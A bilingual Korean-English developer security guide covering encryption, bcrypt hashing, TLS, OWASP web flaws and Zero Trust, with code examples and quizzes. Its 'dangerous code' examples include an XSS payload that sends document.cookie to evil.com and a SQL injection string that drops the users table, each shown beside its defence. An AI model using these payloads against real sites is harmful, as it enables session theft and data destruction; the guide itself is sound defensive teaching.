Split View: 개발자를 위한 보안 완전 가이드 — 암호화부터 Zero Trust까지
개발자를 위한 보안 완전 가이드 — 암호화부터 Zero Trust까지

들어가며
"보안은 보안팀이 하는 거 아닌가요?" — 아닙니다. 코드를 쓰는 모든 개발자가 보안의 첫 번째 방어선입니다.
SQL Injection 하나로 수백만 건의 개인정보가 유출되고, XSS 하나로 사용자 세션이 탈취됩니다. 이 글에서 개발자가 반드시 알아야 할 보안 개념을 총정리합니다.
Part 1: 암호화 (Cryptography)
대칭키 암호화 (AES)
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
# === Fernet (간단한 대칭키) ===
key = Fernet.generate_key()
f = Fernet(key)
plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext # ✅
# === AES-256-GCM (실무 표준) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12) # 96-bit nonce (매번 새로!)
# 암호화 + 인증 (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata") # 복호화 + 무결성 검증
대칭키: 같은 키로 암호화/복호화
장점: 빠름 (AES-256: ~1 GB/s)
단점: 키 전달 문제 (어떻게 안전하게 키를 공유?)
용도: 데이터 암호화, 디스크 암호화, TLS 데이터 전송
비대칭키 암호화 (RSA, ECDSA)
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
# 키 쌍 생성
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# 암호화 (공개키로)
message = b"Secret message"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# 복호화 (개인키로)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
))
assert plaintext == message # ✅
비대칭키: 공개키(암호화) + 개인키(복호화)
장점: 키 교환 문제 해결 (공개키는 공개해도 OK)
단점: 느림 (RSA: ~1 KB/s, AES 대비 1000x 느림)
용도: TLS 키 교환, 전자 서명, SSH 인증
해싱 (Hashing) — 비밀번호 저장
import hashlib
import bcrypt
# ❌ 절대 하면 안 되는 것: 평문 저장
password = "mypassword123"
# ❌ 단순 해시 (레인보우 테이블 공격에 취약)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()
# ✅ bcrypt (솔트 + 느린 해싱 = 안전!)
salt = bcrypt.gensalt(rounds=12) # 솔트 생성 (2^12 반복)
hashed = bcrypt.hashpw(password.encode(), salt)
# 검증
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"비밀번호 일치: {is_valid}") # True
# bcrypt가 안전한 이유:
# 1. 솔트: 같은 비밀번호도 다른 해시 → 레인보우 테이블 무력화
# 2. 느림: 의도적으로 느려서 브루트포스 방어 (GPU 공격 방어)
# 3. rounds 조절: 하드웨어 발전에 맞춰 난이도 증가
TLS 핸드셰이크 (HTTPS)
[Client] [Server]
│ │
│── ClientHello ────────────────▶│ 지원 암호 스위트 목록
│ │
│◀── ServerHello + 인증서 ───────│ 선택된 암호 + 서버 인증서
│ │
│ 서버 인증서 검증 (CA 체인) │
│ │
│── Key Exchange ───────────────▶│ ECDHE 공개값
│◀── Key Exchange ───────────────│ 서버 ECDHE 공개값
│ │
╔════════════════════════════════╗
║ 양쪽 모두 같은 대칭키 도출! ║
║ (Diffie-Hellman) ║
╚════════════════════════════════╝
│ │
│◄══ AES-256-GCM 암호화 통신 ══▶│
Part 2: 웹 보안 (OWASP Top 10)
SQL Injection
# ❌ 위험한 코드
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → 테이블 삭제!
# ✅ 파라미터 바인딩 (Prepared Statement)
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # 입력을 데이터로만 취급, SQL로 해석 안 함
)
# ✅ ORM 사용 (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()
XSS (Cross-Site Scripting)
# ❌ 위험한 코드 (사용자 입력을 그대로 출력)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# HTML에 그대로 삽입하면:
html = f"<div>{comment}</div>"
# → 쿠키 탈취!
# ✅ HTML 이스케이프
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → <script>... (실행 안 됨)
# ✅ CSP (Content Security Policy) 헤더
# Content-Security-Policy: script-src 'self'; object-src 'none';
CSRF (Cross-Site Request Forgery)
# 공격: 사용자가 로그인 상태에서 악성 사이트 방문
# 악성 사이트에 숨겨진 폼이 자동으로 은행 이체 요청!
# ✅ CSRF 토큰 방어
from flask import Flask, session
import secrets
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
# 토큰 검증
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # CSRF 공격 차단!
# 정상 처리
process_transfer(request.form)
# ✅ SameSite 쿠키
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
인증/인가 취약점
# ❌ IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
return User.query.get(user_id).to_dict()
# user_id를 바꾸면 다른 사람 정보 조회 가능!
# ✅ 권한 검증 추가
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # 권한 없음!
return User.query.get(user_id).to_dict()
Part 3: Zero Trust 아키텍처
전통 보안: "성벽 안은 안전" (Castle & Moat)
[인터넷] ──[방화벽]── [내부 네트워크: 모두 신뢰]
→ 내부 침입 시 무방비!
Zero Trust: "아무도 믿지 않는다"
[모든 요청] → [인증] → [인가] → [암호화] → [모니터링]
→ 내부든 외부든 매번 검증!
Zero Trust 원칙
1. Verify Explicitly (명시적 검증)
→ 모든 요청에 인증 + 인가 (위치/네트워크 무관)
2. Least Privilege (최소 권한)
→ 필요한 것만, 필요한 시간만 접근 허용
→ JIT (Just-In-Time) 권한 부여
3. Assume Breach (침해 가정)
→ 이미 뚫렸다고 가정하고 설계
→ 마이크로 세그멘테이션, 암호화, 모니터링
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-policy
spec:
podSelector:
matchLabels:
app: api-server
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # 프론트엔드에서만 접근 허용
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database # DB에만 접근 허용
ports:
- port: 5432
# 나머지 모든 트래픽: 차단!
보안 체크리스트
[인증/인가]
✅ bcrypt/Argon2로 비밀번호 해싱 (SHA256 단독 사용 금지)
✅ JWT 서명 검증 + 만료 시간 설정
✅ OAuth 2.0 PKCE (SPA/모바일)
✅ MFA (다중 인증) 도입
✅ Rate Limiting (브루트포스 방어)
[입력 검증]
✅ SQL Injection: Prepared Statement / ORM
✅ XSS: HTML 이스케이프 + CSP 헤더
✅ CSRF: SameSite 쿠키 + CSRF 토큰
✅ Path Traversal: 파일명 검증
✅ SSRF: 내부 IP 차단
[통신/저장]
✅ HTTPS 필수 (TLS 1.3)
✅ HSTS 헤더
✅ 민감 데이터 암호화 (AES-256-GCM)
✅ 시크릿 관리: Vault / AWS Secrets Manager
✅ 로그에 비밀번호/토큰 절대 기록 금지
[인프라]
✅ Zero Trust 네트워크
✅ 컨테이너 이미지 스캔 (Trivy)
✅ 의존성 취약점 스캔 (Dependabot)
✅ WAF (Web Application Firewall)
✅ 침입 탐지/모니터링
📝 퀴즈 — 보안 (클릭해서 확인!)
Q1. 대칭키와 비대칭키 암호화의 차이와 각각의 용도는? ||대칭키: 같은 키로 암호화/복호화, 빠름 (AES) — 데이터 전송/저장 암호화. 비대칭키: 공개키/개인키 쌍, 느림 (RSA) — 키 교환, 전자 서명||
Q2. bcrypt가 SHA-256보다 비밀번호 저장에 안전한 이유는? ||1) 솔트로 레인보우 테이블 무력화 2) 의도적으로 느린 해싱으로 브루트포스 방어 3) rounds 조절로 미래 하드웨어 발전 대응||
Q3. SQL Injection의 근본 원인과 방어법은? ||근본 원인: 사용자 입력이 SQL 쿼리의 일부로 해석됨. 방어: Prepared Statement(파라미터 바인딩)으로 입력을 데이터로만 취급||
Q4. XSS와 CSRF의 차이는? ||XSS: 공격자의 스크립트가 피해자 브라우저에서 실행. CSRF: 피해자의 인증된 세션으로 공격자가 원하는 요청을 전송. XSS는 클라이언트, CSRF는 서버를 속이는 공격||
Q5. TLS 핸드셰이크에서 대칭키와 비대칭키가 각각 쓰이는 단계는? ||비대칭키: 핸드셰이크 단계에서 키 교환(ECDHE). 대칭키(AES): 데이터 전송 단계. 비대칭키로 안전하게 대칭키를 합의한 후, 빠른 대칭키로 실제 통신||
Q6. Zero Trust의 3원칙은? ||1) Verify Explicitly: 모든 요청을 명시적으로 인증/인가 2) Least Privilege: 최소 권한만 부여 3) Assume Breach: 이미 침해됐다고 가정하고 설계||
Q7. HSTS 헤더의 역할은? ||브라우저에게 해당 도메인은 HTTPS로만 접속하라고 지시. HTTP → HTTPS 리다이렉트 중 발생할 수 있는 중간자 공격 방지||
The Complete Security Guide for Developers — From Encryption to Zero Trust
- Introduction
- Part 1: Cryptography
- Part 2: Web Security (OWASP Top 10)
- Part 3: Zero Trust Architecture
- Security Checklist
- Quiz

Introduction
"Isn't security the security team's job?" — No. Every developer who writes code is the first line of defense.
A single SQL Injection can leak millions of personal records, and a single XSS vulnerability can hijack user sessions. This article is a comprehensive summary of the security concepts every developer must know.
Part 1: Cryptography
Symmetric Key Encryption (AES)
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
# === Fernet (simple symmetric key) ===
key = Fernet.generate_key()
f = Fernet(key)
plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext # ✅
# === AES-256-GCM (production standard) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12) # 96-bit nonce (new every time!)
# Encryption + Authentication (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata") # Decryption + integrity verification
Symmetric key: Same key for encryption/decryption
Pros: Fast (AES-256: ~1 GB/s)
Cons: Key distribution problem (how to securely share the key?)
Use cases: Data encryption, disk encryption, TLS data transfer
Asymmetric Key Encryption (RSA, ECDSA)
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
# Generate key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# Encrypt (with public key)
message = b"Secret message"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# Decrypt (with private key)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
))
assert plaintext == message # ✅
Asymmetric key: Public key (encrypt) + Private key (decrypt)
Pros: Solves the key exchange problem (public key can be shared openly)
Cons: Slow (RSA: ~1 KB/s, 1000x slower than AES)
Use cases: TLS key exchange, digital signatures, SSH authentication
Hashing — Password Storage
import hashlib
import bcrypt
# NEVER do this: store in plaintext
password = "mypassword123"
# DON'T: simple hash (vulnerable to rainbow table attacks)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()
# DO: bcrypt (salt + slow hashing = secure!)
salt = bcrypt.gensalt(rounds=12) # Generate salt (2^12 iterations)
hashed = bcrypt.hashpw(password.encode(), salt)
# Verification
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"Password match: {is_valid}") # True
# Why bcrypt is secure:
# 1. Salt: Same password produces different hashes -> defeats rainbow tables
# 2. Slow: Intentionally slow to defend against brute force (GPU attack defense)
# 3. Adjustable rounds: Increase difficulty as hardware improves
TLS Handshake (HTTPS)
[Client] [Server]
| |
|-- ClientHello --------------->| Supported cipher suite list
| |
|<-- ServerHello + Certificate --| Selected cipher + server certificate
| |
| Verify server certificate |
| (CA chain) |
| |
|-- Key Exchange --------------->| ECDHE public value
|<-- Key Exchange ---------------| Server ECDHE public value
| |
+================================+
| Both sides derive the same |
| symmetric key! |
| (Diffie-Hellman) |
+================================+
| |
|<== AES-256-GCM encrypted ==> |
Part 2: Web Security (OWASP Top 10)
SQL Injection
# DON'T: dangerous code
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# -> SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# -> Table dropped!
# DO: Parameter binding (Prepared Statement)
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # Input treated as data only, never interpreted as SQL
)
# DO: Use an ORM (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()
XSS (Cross-Site Scripting)
# DON'T: dangerous code (outputting user input as-is)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# Inserting directly into HTML:
html = f"<div>{comment}</div>"
# -> Cookie stolen!
# DO: HTML escape
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# -> <script>... (not executed)
# DO: CSP (Content Security Policy) header
# Content-Security-Policy: script-src 'self'; object-src 'none';
CSRF (Cross-Site Request Forgery)
# Attack: User visits a malicious site while logged in
# A hidden form on the malicious site automatically submits a bank transfer request!
# DO: CSRF token defense
from flask import Flask, session
import secrets
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
# Token verification
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # CSRF attack blocked!
# Normal processing
process_transfer(request.form)
# DO: SameSite cookies
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
Authentication/Authorization Vulnerabilities
# DON'T: IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
return User.query.get(user_id).to_dict()
# Changing user_id reveals other people's information!
# DO: Add authorization check
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # Unauthorized!
return User.query.get(user_id).to_dict()
Part 3: Zero Trust Architecture
Traditional security: "Inside the walls is safe" (Castle and Moat)
[Internet] --[Firewall]-- [Internal network: trust everyone]
-> Defenseless once breached internally!
Zero Trust: "Trust nobody"
[Every request] -> [Authenticate] -> [Authorize] -> [Encrypt] -> [Monitor]
-> Verify every time, whether internal or external!
Zero Trust Principles
1. Verify Explicitly
-> Authenticate + authorize every request (regardless of location/network)
2. Least Privilege
-> Allow access only to what is needed, only for the time needed
-> JIT (Just-In-Time) privilege granting
3. Assume Breach
-> Design assuming you have already been compromised
-> Micro-segmentation, encryption, monitoring
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-policy
spec:
podSelector:
matchLabels:
app: api-server
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # Allow access only from frontend
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database # Allow access only to DB
ports:
- port: 5432
# All other traffic: blocked!
Security Checklist
[Authentication/Authorization]
- bcrypt/Argon2 for password hashing (never use SHA256 alone)
- JWT signature verification + expiration time
- OAuth 2.0 PKCE (SPA/mobile)
- MFA (Multi-Factor Authentication)
- Rate Limiting (brute force defense)
[Input Validation]
- SQL Injection: Prepared Statement / ORM
- XSS: HTML escape + CSP header
- CSRF: SameSite cookies + CSRF token
- Path Traversal: filename validation
- SSRF: block internal IPs
[Communication/Storage]
- HTTPS required (TLS 1.3)
- HSTS header
- Encrypt sensitive data (AES-256-GCM)
- Secret management: Vault / AWS Secrets Manager
- Never log passwords/tokens
[Infrastructure]
- Zero Trust network
- Container image scanning (Trivy)
- Dependency vulnerability scanning (Dependabot)
- WAF (Web Application Firewall)
- Intrusion detection/monitoring
Quiz — Security (click to reveal!)
Q1. What is the difference between symmetric and asymmetric encryption, and what are their use cases? ||Symmetric: Same key for encryption/decryption, fast (AES) — data transfer/storage encryption. Asymmetric: Public/private key pair, slow (RSA) — key exchange, digital signatures.||
Q2. Why is bcrypt safer than SHA-256 for password storage? ||1) Salt defeats rainbow tables 2) Intentionally slow hashing defends against brute force 3) Adjustable rounds to keep up with future hardware improvements.||
Q3. What is the root cause of SQL Injection and how do you defend against it? ||Root cause: User input is interpreted as part of the SQL query. Defense: Prepared Statements (parameter binding) treat input as data only.||
Q4. What is the difference between XSS and CSRF? ||XSS: Attacker's script executes in the victim's browser. CSRF: Attacker sends requests using the victim's authenticated session. XSS tricks the client; CSRF tricks the server.||
Q5. At which stages of the TLS handshake are symmetric and asymmetric keys used? ||Asymmetric: Key exchange during the handshake (ECDHE). Symmetric (AES): Data transfer stage. Asymmetric keys securely negotiate a symmetric key, then the fast symmetric key handles actual communication.||
Q6. What are the three principles of Zero Trust? ||1) Verify Explicitly: Explicitly authenticate/authorize every request 2) Least Privilege: Grant only the minimum necessary permissions 3) Assume Breach: Design assuming compromise has already occurred.||
Q7. What is the role of the HSTS header? ||It instructs the browser to access the domain only via HTTPS. This prevents man-in-the-middle attacks that could occur during HTTP to HTTPS redirects.||
Quiz
Q1: What is the main topic covered in "The Complete Security Guide for Developers — From
Encryption to Zero Trust"?
Symmetric and asymmetric encryption, hashing, TLS handshake, OWASP Top 10, SQL Injection, XSS, CSRF, and Zero Trust architecture. A comprehensive summary of security concepts every developer must know, complete with code examples.
Q2: What is Part 1: Cryptography?
Symmetric Key Encryption (AES) Asymmetric Key Encryption (RSA, ECDSA) Hashing — Password Storage
TLS Handshake (HTTPS)
Q3: Explain the core concept of Part 2: Web Security (OWASP Top 10).
SQL Injection XSS (Cross-Site Scripting) CSRF (Cross-Site Request Forgery)
Authentication/Authorization Vulnerabilities
Q4: Describe the Part 3: Zero Trust Architecture.
Zero Trust Principles
Q5: How does Security Checklist work?
Q1. What is the difference between symmetric and asymmetric encryption, and what are their use
cases? Q2. Why is bcrypt safer than SHA-256 for password storage? Q3. What is the root cause of
SQL Injection and how do you defend against it? Q4.